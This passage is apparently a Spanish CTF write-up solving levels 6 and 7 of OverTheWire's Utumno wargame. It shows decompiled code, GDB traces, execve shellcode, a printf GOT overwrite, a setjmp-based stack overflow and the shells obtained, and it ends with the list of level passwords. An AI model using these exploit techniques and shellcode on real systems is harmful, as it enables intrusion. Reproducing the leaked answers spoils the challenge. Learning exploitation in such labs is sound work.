. Compuesta por un vector de diez valores de tipo entero y un puntero de tipo char
.
Posteriormente, a través de la función strtoul convierte el primer argumento a base 10 y el segundo argumento a base 16 (Hexadecimal)
int main(int argc,char **argv)
{
ulong uVar1;
a b;
int pos;
int val;
if (argc < 3) {
puts("Missing args");
/* WARNING: Subroutine does not return */
exit(1);
}
b.p = (char *)malloc(32);
if (b.p == (char *)0x0) {
puts("Sorry, ran out of memory :-(");
/* WARNING: Subroutine does not return */
exit(1);
}
//The C library function unsigned long int strtoul(const char *str, char **endptr, int base) function converts the initial part of the string in str to an unsigned long int value according to the given base, which must be between 2 and 36 inclusive, or be the special value 0.
pos = strtoul(argv[1],(char **)0x0,10);
uVar1 = strtoul(argv[2],(char **)0x0,16);
if (10 < pos) {
puts("Illegal position in table, quitting..");
/* WARNING: Subroutine does not return */
exit(1);
}
b.table[pos] = uVar1;
strcpy(b.p,argv[3]);
printf("Table position %d has value %d\nDescription: %s\n",pos,b.table[pos],b.p);
return 0;
}
Finalmente, si la variable pos
es menor que 10, se almacena el segundo argumento en la tabla de la estructura b
, en la posición pos
; y se copia el argumento 3 a la dirección almacenada en el atributo p
, de la estructura b
.
De forma parecida al nivel anterior, si se escribe un valor negativo se produce un Integer Overflow. Esto es debido porque se esta casteando una variable de tipo unsigned long int
a int
, por lo que casualmente podemos sobrescribir la dirección de retorno con lo introducido como segundo argumento.
kali@kali:/mnt/hgfs/2_MisPostsBlog/OverTheWire/Utumno$ strace ./utumno6 -1 AAAA BBBB
[...]
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0xaaaa} ---
+++ killed by SIGSEGV +++
Segmentation fault
Sin embargo, empleando los mismos argumentos en GDB obtenemos una violación de segmento diferente.
(gdb) start -1 AAAA BBBB
Temporary breakpoint 1 at 0x80484e1: file utumno6.c, line 35.
Starting program: /utumno/utumno6 -1 AAAA BBBB
Temporary breakpoint 1, main (argc=4, argv=0xffffd714) at utumno6.c:35
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0xf7e998d2 in ?? () from /lib32/libc.so.6
Jugando un poco más con GDB, me doy cuenta de que el segundo argumento puede ser empleado para indicar donde se quiere escribir el valor del tercer argumento.
(gdb) start -1 0xffffd704 BBBB
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Temporary breakpoint 8 at 0x80484e1: file utumno6.c, line 35.
Starting program: /utumno/utumno6 -1 0xffffd704 BBBB
Temporary breakpoint 8, main (argc=4, argv=0xffffd704) at utumno6.c:35
(gdb) x/xw 0xffffd704
0xffffd704: 0xffffd84d
(gdb) b *0x804858c
Breakpoint 9 at 0x804858c: file utumno6.c, line 63.
(gdb) c
Continuing.
Breakpoint 9, main (argc=4, argv=0xffffd704) at utumno6.c:63
(gdb) x/xw 0xffffd704
0xffffd704: 0x42424242
(gdb)
Por tanto, podemos sobrescribir la dirección de la función printf
en la tabla plt, por la dirección de nuestro shellcode que guardaremos en una variable de entorno.
utumno6@utumno:/tmp/Marmeus$ export EGG=$(python -c 'print "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"')
Con GDB obtenemos una dirección de nuestro "nop slide". Se ha elegido la dirección 0xffffde30
.
(gdb) b *0x80485ae
(gdb) r 1 AAAA BBBB
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /utumno/utumno6 1 AAAA BBBB
Table position 1 has value 43690
Description: BBBB
Breakpoint 3, 0x080485ae in main (argc=4, argv=0xffffd694) at utumno6.c:67
(gdb) x/xw $esp
0xffffd5ec: 0xf7e2a286
(gdb) r -1 0xffffd5ec BBBB
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /utumno/utumno6 -1 0xffffd5ec BBBB
Breakpoint 3, 0x080485ae in main (argc=0, argv=0xffffd684) at utumno6.c:67
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
Cannot access memory at address 0x42424242
(gdb) x/2000xw $esp-2000
0xffffce20: 0x00000000 0x00000000 0xf7fd30a0 0xf7fe415e
0xffffce30: 0xf7ffd4fc 0x0804824d 0x00000011 0xf7fd3084
[...]
0xffffde10: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffde20: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffde30: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffde40: 0x90909090 0x90909090 0x90909090 0x90909090
Además, también podemos obtener la dirección a sobrescribir de printf
.
0x80485a0 <main+197> call 0x8048360 <printf@plt>
(gdb) x/i 0x8048360
0x8048360 <printf@plt>: jmp DWORD PTR ds:0x80498c0 <--
Finalmente, solo queda introducirlo todo como argumento y obtendremos nuestra shell.
utumno6@utumno:/tmp/Marmeus$ /utumno/utumno6 -1 0x80498c0 $(python -c 'print "\x30\xde\xff\xff"')
$ id
uid=16006(utumno6) gid=16006(utumno6) euid=16007(utumno7) groups=16006(utumno6)
$ cat /etc/utumno_pass/utumno7
totiquegae
Level 7
En el último nivel si introducimos un valor como argumento, nos muestra una cadena de caracteres, llama a la función setjmp
, copia lo introducido como argumento y llama a la función longjmp
.
utumno7@utumno:/tmp/Marmeus$ /utumno/utumno7
utumno7@utumno:/tmp/Marmeus$ /utumno/utumno7 123
lol ulrich && fuck hector
utumno7@utumno:/tmp/Marmeus$ ltrace /utumno/utumno7 123
__libc_start_main(0x8048501, 2, 0xffffd774, 0x8048550 <unfinished ...>
puts("lol ulrich && fuck hector"lol ulrich && fuck hector)= 26
_setjmp(0xffffd62c, 0, 0, 0x5ff0c1e0) = 0
strcpy(0xffffd5ac, "123") = 0xffffd5ac
longjmp(0xffffd62c, 23, 0xffffd6cc, 0x80484f7 <no return ...>
+++ exited (status 0) +++
Empleando Ghidra, podemos ver como el primer argumento es pasado como argumento a la función vuln
, que ejecuta las funcionas anteriormente mencionadas y copia el parámetro en la variable buf
.
Nota: La segunda función se ejecuta cuando se llama a jmp(0x17)
, pero solo se aprecia en GDB.
int main(int argc,char **argv)
{
if (argc < 2) {
/* WARNING: Subroutine does not return */
exit(1);
}
puts("lol ulrich && fuck hector");
vuln(argv[1]);
return 0;
}
int vuln(char *arg)
{
int iVar1;
char buf [128];
jmp_buf foo;
int i;
jbp = (jmp_buf *)foo;
iVar1 = _setjmp((__jmp_buf_tag *)foo);
if (iVar1 == 0) {
strcpy(buf,arg);
jmp(0x17);
}
return 0;
}
Aunque puede parecer un simple Buffer Overflow, no lo es del todo, pues las funciones setjmp
y longjmp
son las encargadas de guardar y restaurar el estado del programa (Los registros del programa). Por lo que complica la sobreescritura de la dirección de retorno, como se puede ver en la ejecución de GDB, ya que varían los últimos bytes de la dirección.
(gdb) start $(python -c "print 'A'*136+'BBBB'+'CCCC'")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Temporary breakpoint 3 at 0x8048504: file utumno7.c, line 33.
Starting program: /utumno/utumno7 $(python -c "print 'A'*136+'BBBB'+'CCCC'")
Temporary breakpoint 3, main (argc=2, argv=0xffffd6c4) at utumno7.c:33
(gdb) c
Continuing.
lol ulrich && fuck hector
Program received signal SIGSEGV, Segmentation fault.
0x080484d5 in vuln (arg=<error reading variable: Cannot access memory at address 0x4343434b>) at utumno7.c:23
Si en vez de 'C's empleamos una dirección del stack que controlamos, por el ejemplo alguna dirección dentro del buffer. Por ejemplo 0xffffd504
.
(gdb) start $(python -c "print 'A'*140+'BBBB'")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Temporary breakpoint 11 at 0x8048504: file utumno7.c, line 33.
Starting program: /utumno/utumno7 $(python -c "print 'A'*140+'BBBB'")
Temporary breakpoint 11, main (argc=2, argv=0xffffd6c4) at utumno7.c:33
(gdb) b *0x80484ed
Breakpoint 12 at 0x80484ed: file utumno7.c, line 25.
(gdb) x/30xw $esp
0xffffd4f4: 0xffffd4fc 0xffffd809 0x41414141 0x41414141
0xffffd504: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd514: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd524: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd534: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd544: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd554: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd564: 0x41414141 0x41414141
Vemos que podemos acceder a nuestro buffer sin problema.
(gdb) r $(python -c "from struct import pack;print 'A'*140+pack('I',0xffffd504)")
Starting program: /utumno/utumno7 $(python -c "from struct import pack;print 'A'*140+pack('I',0xffffd504)")
lol ulrich && fuck hector
Program received signal SIGSEGV, Segmentation fault.
Cannot access memory at address 0x41414141
No obstante si declaramos una variable de entorno con nuestro shellcode e intentamos acceder a él directamente nos salta un error.
utumno7@utumno:/tmp/Marmeus$ export EGG=$(python -c 'print "\x90"*100+"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"')
utumno7@utumno:/tmp/Marmeus$ gdb -q /utumno/utumno7
(gdb) start
(gdb) x/2000xw $esp-2000
0xffffde10: 0x3836312e 0x3130312e 0x2030392e 0x45003232
0xffffde20: 0x903d4747 0x90909090 0x90909090 0x90909090
0xffffde30: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffde40: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffde50: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffde60: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffde70: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffde80: 0x90909090 0x31909090 0x51e1f7c9 0x732f2f68
0xffffde90: 0x622f6868 0xe3896e69 0x80cd0bb0 0x2f3d5f00
0xffffdea0: 0x2f727375 0x2f6e6962 0x00626467 0x474e414c
(gdb) r $(python -c "from struct import pack;print 'A'*140+pack('I',0xffffde40)")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /utumno/utumno7 $(python -c "from struct import pack;print 'A'*140+pack('I',0xffffde40)")
lol ulrich && fuck hector
Program received signal SIGSEGV, Segmentation fault.
Cannot access memory at address 0x90909090
Esto es debido a que emplea el valor de la dirección de memoria, como dirección para ejecutar la instrucción que se encuentre en esa dirección de memoria. Entonces, necesitamos escribir la dirección de memoria de nuestro shellcode en el argumento que nosotros le pasamos y obtener la dirección de memoria donde se encuentra almacenado nuestro argumento para sobrescribir la dirección de retorno.
Para poder obtener la dirección donde se almacena nuestro argumento se ha empleado ltrace (0xffffd49c
).
utumno7@utumno:/tmp/Marmeus$ ltrace /utumno/utumno7 $(python -c "from struct import pack;print 'BBBB'+pack('I',0xffffde40)+'A'*132+pack('I',0xffffff)")
-bash: warning: command substitution: ignored null byte in input
__libc_start_main(0x8048501, 2, 0xffffd664, 0x8048550 <unfinished ...>
puts("lol ulrich && fuck hector"lol ulrich && fuck hector)= 26
_setjmp(0xffffd51c, 0, 0, 0x5ff323d9)= 0
strcpy(0xffffd49c, "BBBB@\336\377\377AAAAAAAAAAAAAAAAAAAAAAAA"...) = 0xffffd49c
longjmp(0xffffd51c, 23, 0xffffd5bc, 0x80484f7 <no return ...>
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++
Finalmente, una vez obtenida la dirección del comienzo de nuestro buffer solo falta ejecutarlo, obteniendo nuestra shell.
utumno7@utumno:/tmp/Marmeus$ /utumno/utumno7 $(python -c "from struct import pack;print 'BBBB'+pack('I',0xffffde40)+'A'*132+pack('I',0xffffd49c)")
lol ulrich && fuck hector
$ id
uid=16007(utumno7) gid=16007(utumno7) euid=16008(utumno8) groups=16007(utumno7)
$ cat /etc/utumno_pass/utumno8
jaeyeetiav
Nota: Puede ser que tengas que jugar con los últimos bytes de la última dirección, pues los últimos bytes varían como se dijo al principio del nivel, pues a la hora de resolver el reto tuve que jugar con ellos, pero a la hora de realizar el post, me ha funcionado sin tener que modificar nada.
Esto se debe a que la funciónsiglongjmp
suma un valor aleatorio a los últimos bytes de la dirección de retorno como mecanismo de seguridad.
Contraseñas
0) utumno0
1) aathaeyiew
2) ceewaceiph
3) zuudafiine
4) oogieleoga
5) woucaejiek
6) eiluquieth
7) totiquegae
8) jaeyeetiav